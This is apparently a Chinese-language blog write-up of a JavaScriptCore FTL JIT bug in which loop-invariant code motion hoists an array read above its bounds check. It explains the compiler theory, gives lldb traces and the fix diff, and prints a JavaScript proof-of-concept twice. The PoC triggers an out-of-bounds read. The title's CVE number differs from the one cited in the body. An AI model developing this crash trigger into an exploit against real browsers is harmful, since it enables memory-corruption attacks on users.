骑麦兜看落日

[Vuln]CVE-2019-8515 FTL JIT LICM OOB access

字数统计: 3k阅读时长: 14 min
2020/04/25 Share

CVE-2019-8515

[TOC]

漏洞描述

FTL JIT的LICM由于错误的将GetByVal提升到preheader导致没有检查数组边界从而造成OOB访问

测试环境

使用的环境 备注
操作系统 Mac OS X 10.15.3
调试器 lldb lldb-1001.0.13.3 Swift-5.0
反汇编器 IDA Pro 版本号: 7.0
目标 WebKit JavaScriptCore commit:fc1d973c291ef72e80b26116f71ecc4ac3ab8640
漏洞软件 xcode Xcode_10.3

漏洞分析

SSA

在编译器的设计中,静态单赋值形式(static single assignment form,通常简写为SSA form或是SSA)是中间表示(IR,intermediate representation)的特性,每个变数仅被赋值一次

转换规则

例如函数

1
2
3
4
5
6
7
function clamp (x, lower, upper) {
if (x < lower)
x = lower;
else if (x > upper)
x = upper;
return x;
}

SSA的转换结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
entry:
x0, lower0, upper0 = args;
goto b0;

b0:
t0 = x0 < lower0;
goto t0 ? b1 : b2;

b1:
x1 = lower0;
goto exit;

b2:
t1 = x0 > upper0;
goto t1 ? b3 : exit;

b3:
x2 = upper0;
goto exit;

exit:
x4 = phi(x0, x1, x2);
return x4;

SSA把过程区分出若干个基本块(basic blocks),每个基本块都以一个分支为条件或无条件的另一个块结束

临时变量也有自己的命名,以便进行后期优化

x可能来自参数,也可能在两个条件语句中被赋值,这时就有Φ(Phi)函数来表示它

1
2
3
4
5
6
7
8
9
10
11
entry x lower upper =
letrec b0 = let t0 = x0 < lower
if t0 then b1() else b2()
b1 = let x = lower
exit(x);
b2 = let t1 = x > upper0
if t1 then b3() else exit(x)
b3 = let x = upper
exit(x);
exit x = x
b0()

每一个基本块(basic blocks)都可以认为是一个函数,而phi函数就是带有一个参数的基本块

名词解释

  • use-def chain

包含一个def变量,以及它的全部use的集合

  • def-use chain

包含一个use变量,以及它的全部def的集合

  • dominate

一个节点 d 支配节点 n,当且仅当从开始节点(可以理解为源)到节点 n的每一条路径均要经过节点d,写作d dom n(一写作dn)

  • predecessors

控制流图中给定节点之前的块

  • successors

控制流图中给定节点之后的块

  • strictly dominate

一个节点 d 严格控制节点n,当且仅当 d控制 n 而不等于 n

  • immediate dominator

节点 n 的最近必经点(immediate dominator),简称 idom 是一个独特的节点,它严格支配节点 n,却不支配任何严格支配节点n的其他节点

不是所有的节点均有最近必经点,如开始节点就没有

  • dominance frontiers

如果A没有直接支配(strictly dominate)B但是支配着一个B的前置程序(predecessor),则节点B就是点A的支配边界(dominance frontiers),因为任何一个点都支配着自己,所以点A也是点B的支配边界

支配边界取得了需要Φ函式的精确的位置:如果点A定义了一个变数,那个这个变数将会达到所有点A的支配点,只有在当我们离开这些点,而且进入支配边界,我们才必须考虑其他流程会带着其它相同变数的定义

  • dominator tree

一个支配树是一棵树,它的所有子节点是被其最近支配的所有节点

由于idom是唯一的,故其为一棵树,开始节点即为树根

  • post-dominator

a node z is said to post-dominate a node n if all paths to the exit node of the graph starting at n must go through z.

如果所有所有从n开始到图的exit节点的路径都必须经过z ,则称一个节点z post-dominate 一个节点n

LICM

  • header

拥有唯一入口点header,header只配所有在循环中的节点

  • preheader

优化为在循环之前执行一次的代码放在preheader块中

  • back edge

t->h, h dominates t

  • Natural Loops

包含back edge头部和尾部的最小节点集合,并且除了header集合外没有任何predecessors

  • Inner Loops

包含另一个循环的循环

  • loop-invariant computation

只要控制停留在循环内,其值就不会改变的计算

  • Code motion

将语句在循环中移动到循环的preheader

DFGLICMPhase分析

下断到attemptHoist()函数

1
(lldb) b WebKit/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp:224

尝试hoist需要几个条件,在attempHoist()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
// WebKit/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp
if (!data.preHeader) {
if (verbose)
dataLog(" Not hoisting ", node, " because the pre-header is invalid.\n");
return false;
}

if (!data.preHeader->cfaDidFinish) {
if (verbose)
dataLog(" Not hoisting ", node, " because CFA is invalid.\n");
return false;
}

...

if (!edgesDominate(m_graph, node, data.preHeader)) {
if (verbose) {
dataLog(
" Not hoisting ", node, " because it isn't loop invariant.\n");
}
return tryHoistChecks();
}

if (doesWrites(m_graph, node)) {
if (verbose)
dataLog(" Not hoisting ", node, " because it writes things.\n");
return tryHoistChecks();
}

if (readsOverlap(m_graph, node, data.writes)) {
if (verbose) {
dataLog(
" Not hoisting ", node,
" because it reads things that the loop writes.\n");
}
return tryHoistChecks();
}

if (addsBlindSpeculation && !canSpeculateBlindly) {
if (verbose) {
dataLog(
" Not hoisting ", node, " because it may exit and the pre-header (",
*data.preHeader, ") is not control equivalent to the node's original block (",
*fromBlock, ") and hoisting had previously failed.\n");
}
return tryHoistChecks();
}

if (!safeToExecute(m_state, m_graph, node)) {
// See if we can rescue the situation by inserting blind speculations.
bool ignoreEmptyChildren = true;
if (canSpeculateBlindly
&& safeToExecute(m_state, m_graph, node, ignoreEmptyChildren)) {
if (verbose) {
dataLog(
" Rescuing hoisting by inserting empty checks.\n");
}
m_graph.doToChildren(
node,
[&] (Edge& edge) {
if (!(m_state.forNode(edge).m_type & SpecEmpty))
return;

Node* check = m_graph.addNode(CheckNotEmpty, originalOrigin, Edge(edge.node(), UntypedUse));
insertHoistedNode(check);
});
} else {
if (verbose) {
dataLog(
" Not hoisting ", node, " because it isn't safe to execute.\n");
}
return tryHoistChecks();
}
}

重点关注edgesDominate(m_graph, node, data.preHeader)

代码逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// WebKit/Source/JavaScriptCore/dfg/DFGEdgeDominates.h
class EdgeDominates {
static const bool verbose = false;
...
void operator()(Node*, Edge edge)
{
bool result = m_graph.m_ssaDominators->dominates(edge.node()->owner, m_block);
if (verbose) {
dataLog(
"Checking if ", edge, " in ", *edge.node()->owner,
" dominates ", *m_block, ": ", result, "\n");
}
m_result &= result;
}
...
private:
Graph& m_graph;
BasicBlock* m_block;
bool m_result;
}

inline bool edgesDominate(Graph& graph, Node* node, BasicBlock* block)
{
EdgeDominates edgeDominates(graph, block);
DFG_NODE_DO_TO_CHILDREN(graph, node, edgeDominates);
return edgeDominates.result();
}

// WebKit/Source/JavaScriptCore/dfg/DFGGraph.h
#define DFG_NODE_DO_TO_CHILDREN(graph, node, thingToDo) do { \
Node* _node = (node); \
if (_node->flags() & NodeHasVarArgs) { \
for (unsigned _childIdx = _node->firstChild(); \
_childIdx < _node->firstChild() + _node->numChildren(); \
_childIdx++) { \
if (!!(graph).m_varArgChildren[_childIdx]) \
thingToDo(_node, (graph).m_varArgChildren[_childIdx]); \
} \
} else { \
for (unsigned _edgeIndex = 0; _edgeIndex < AdjacencyList::Size; _edgeIndex++) { \
Edge& _edge = _node->children.child(_edgeIndex); \
if (!_edge) \
break; \
thingToDo(_node, _edge); \
} \
} \
} while (false)

// WebKit/Source/WTF/wtf/Dominators.h
bool strictlyDominates(typename Graph::Node from, typename Graph::Node to) const
{
return m_data[to].preNumber > m_data[from].preNumber
&& m_data[to].postNumber < m_data[from].postNumber;
}
bool dominates(typename Graph::Node from, typename Graph::Node to) const
{
return from == to || strictlyDominates(from, to);
}

整个代码的逻辑不算很复杂,就是判断一个node的所有child是否为edge dominate的方法是判断child->owner是否为block0或者是否为strictly dominates

对于GetByVal来说,有三个child

1
2
3
4
5
6
7
8
9
10
11
12
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $95 = GetStack
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $96 = 0
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $98 = JSConstant
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $99 = 0
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $100 = GetButterfly
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $101 = 0

因为三个child都为edge dominate,所以getByVal会被尝试hoistblock0(还要同时满足其他条件)

但是对于CheckInBounds来说,有两个child

1
2
3
4
5
6
7
8
9
10
11
12
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $52 = JSConstant
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $53 = 0
(lldb) p m_block->index
(JSC::DFG::BlockIndex) $55 = 0
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $56 = GetArrayLength
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $57 = 2
(lldb) p m_block->index
(JSC::DFG::BlockIndex) $58 = 0

可以发现其child GetArrayLength属于block2,不为edge dominate,因此无法被hoist

DFGSSALoweringPhase分析

下断到handleNode()

1
(lldb) b WebKit/Source/JavaScriptCore/dfg/DFGSSALoweringPhase.cpp:84

GetByVal节点直接调用了lowerBoundsCheck()函数

1
2
3
4
case GetByVal: {
lowerBoundsCheck(m_graph.varArgChild(m_node, 0), m_graph.varArgChild(m_node, 1), m_graph.varArgChild(m_node, 2));
break;
}

其中三个child分别代表了baseindexstorage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
bool lowerBoundsCheck(Edge base, Edge index, Edge storage)
{
if (!m_node->arrayMode().permitsBoundsCheckLowering())
return false;

if (!m_node->arrayMode().lengthNeedsStorage())
storage = Edge();

NodeType op = GetArrayLength;
switch (m_node->arrayMode().type()) {
case Array::ArrayStorage:
case Array::SlowPutArrayStorage:
op = GetVectorLength;
break;
case Array::String:
// When we need to support this, it will require additional code since base's useKind is KnownStringUse.
DFG_CRASH(m_graph, m_node, "Array::String's base.useKind() is KnownStringUse");
break;
default:
break;
}

Node* length = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, op, m_node->origin,
OpInfo(m_node->arrayMode().asWord()), Edge(base.node(), KnownCellUse), storage);
m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, CheckInBounds, m_node->origin,
index, Edge(length, KnownInt32Use));
return true;
}

可以看到插入了两个节点GetArrayLengthCheckInBounds,其中GetArrayLength作为了CheckInBoundsedge dominate,然鹅,依赖于CheckInBounds的节点同样需要有edge dominate,所以我们可以看到在patch中增加了一段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
         Node* length = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, op, m_node->origin,
OpInfo(m_node->arrayMode().asWord()), Edge(base.node(), KnownCellUse), storage);
- m_insertionSet.insertNode(
+ Node* checkInBounds = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, CheckInBounds, m_node->origin,
index, Edge(length, KnownInt32Use));
+
+ AdjacencyList adjacencyList = m_graph.copyVarargChildren(m_node);
+ m_graph.m_varArgChildren.append(Edge(checkInBounds, UntypedUse));
+ adjacencyList.setNumChildren(adjacencyList.numChildren() + 1);
+ m_node->children = adjacencyList;
return true;
}

POC分析

最后来看一下POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Run with --thresholdForFTLOptimizeAfterWarmUp=1000

// First array probably required to avoid COW backing storage or so...
const v3 = [1337,1337,1337,1337];
const v6 = [1337,1337];

function v7(v8) {
for (let v9 in v8) {
v8.a = 42;
const v10 = v8[-698666199];
}
}

while (true) {
const v14 = v7(v6);
const v15 = v7(1337);
}

pj0上saelo讲解的很清楚,我大概复述一遍

在FTL层中进行JIT编译期间,v7JIT IR将具有以下属性:

  • 由于属性访问,将为v8插入结构检查,该检查将确保数组在运行时具有正确的类型(ArrayWithInt32,具有属性a)
  • 循环头获取枚举的数组长度
  • v8的元素访问被(错误地?)推测为InBounds,大概是因为负数实际上不是有效的数组索引,而是常规的属性名称
  • 结果,元素访问将被优化为一个CheckBounds node,然后是一个GetByVal node(都在循环体内)
  • CheckBounds node将常量索引与循环头中加载的数组长度进行比较

因此,该功能的IR大致如下:

1
2
3
4
5
6
7
8
9
10
11
# Loop header
len = LoadArrayLength v8
// Do other loop header stuff

# Loop body
CheckStructure v8, expected_structure_id
StoreProperty v8, 'a', 42
CheckBounds -698666199, len // Bails out if index is OOB (always in this case...)
GetByVal v8, -698666199 // Loads the element from the backing storage without performing additional checks

// Jump back to beginning of loop

这是loop-invariant code motion(LICM)期间接下来发生的事情,这是一种优化设计,用于在不需要多次执行的情况下将代码移动到循环体前面的循环头内:

  1. LICM确定CheckStructure node可以移到循环头的前面,并这样做
  2. LICM确定CheckBounds节点不能移到循环头,因为它取决于仅加载到循环头中的数组长度
  3. LICM确定可以将数组访问(GetByVal)移到循环头的前面(因为它不依赖于任何循环变量),并且这样做

由于上述结果,IR大致转换为以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
StructureCheck v8, expected_structure_id
GetByVal v8, -698666199

# Loop header
len = LoadArrayLength v8
// Do other loop header stuff

# Loop body
StoreProperty v8, 'a', 42
CheckBounds -698666199, len

// Jump back to beginning of loop

这样,(未检查的)数组元素访问现在位于循环标头之前,仅在此之后在循环体内进行边界检查

然后,在访问内存v6元素向量之前698666199 * 8个字节时,提供的PoC崩溃

仅当safeToExecute(来自DFGSafeToExecute.h)返回true时,才会将GetByVal移到循环头前.该函数似乎只关心类型检查,因此在这种情况下,可以得出结论GetByVal可以移到循环头的前面是因为StructureCheck(执行类型检查)也移到了循环头.这似乎是需要属性存储(v8.a = 42)的原因,因为它强制执行CheckStructure node,否则该节点将丢失

似乎有必要使用非数组参数调用v7(在这种情况下为1337),以免过于频繁地触发早期JIT层中的bailout,这将阻止FTL JIT编译该函数

利用思路

按照saelo所说,可以修改为可以修改为默认threshold版本,并且可能可以做OOB访问,但是目前对于JIT还不是太熟悉,暂时先鸽掉好了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Run with --thresholdForFTLOptimizeAfterWarmUp=1000

// First array probably required to avoid COW backing storage or so...
const v3 = [1337,1337,1337,1337];
const v6 = [1337,1337];

function v7(v8) {
for (let v9 in v8) {
v8.a = 42;
const v10 = v8[-698666199];
}
}

while (true) {
const v14 = v7(v6);
const v15 = v7(1337);
}

漏洞修复

CheckInBounds添加为GetByVal的child

1
2
3
4
5
6
7
8
9
10
11
12
13
14
         Node* length = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, op, m_node->origin,
OpInfo(m_node->arrayMode().asWord()), Edge(base.node(), KnownCellUse), storage);
- m_insertionSet.insertNode(
+ Node* checkInBounds = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, CheckInBounds, m_node->origin,
index, Edge(length, KnownInt32Use));
+
+ AdjacencyList adjacencyList = m_graph.copyVarargChildren(m_node);
+ m_graph.m_varArgChildren.append(Edge(checkInBounds, UntypedUse));
+ adjacencyList.setNumChildren(adjacencyList.numChildren() + 1);
+ m_node->children = adjacencyList;
return true;
}

CVE-2019-8518

Issue 1775: JavaScriptCore: OOB access in FTL JIT due to LICM moving array access before the bounds check
diff

Nodes that rely on being dominated by CheckInBounds should have a child edge to it

CVE-2019-8518 FTL LICM GETBYVAL HOISTED OOB

Static single assignment form

static single assignment for functional programmers

支配

Lecture 5 LICM and Strength Reduction

Edge dominating set

CATALOG
  1. 1. CVE-2019-8515
    1. 1.1. 漏洞描述
    2. 1.2. 测试环境
    3. 1.3. 漏洞分析
      1. 1.3.1. SSA
        1. 1.3.1.1. 转换规则
        2. 1.3.1.2. 名词解释
      2. 1.3.2. LICM
      3. 1.3.3. DFGLICMPhase分析
      4. 1.3.4. DFGSSALoweringPhase分析
      5. 1.3.5. POC分析
    4. 1.4. 利用思路
    5. 1.5. POC
    6. 1.6. 漏洞修复
    7. 1.7. LINK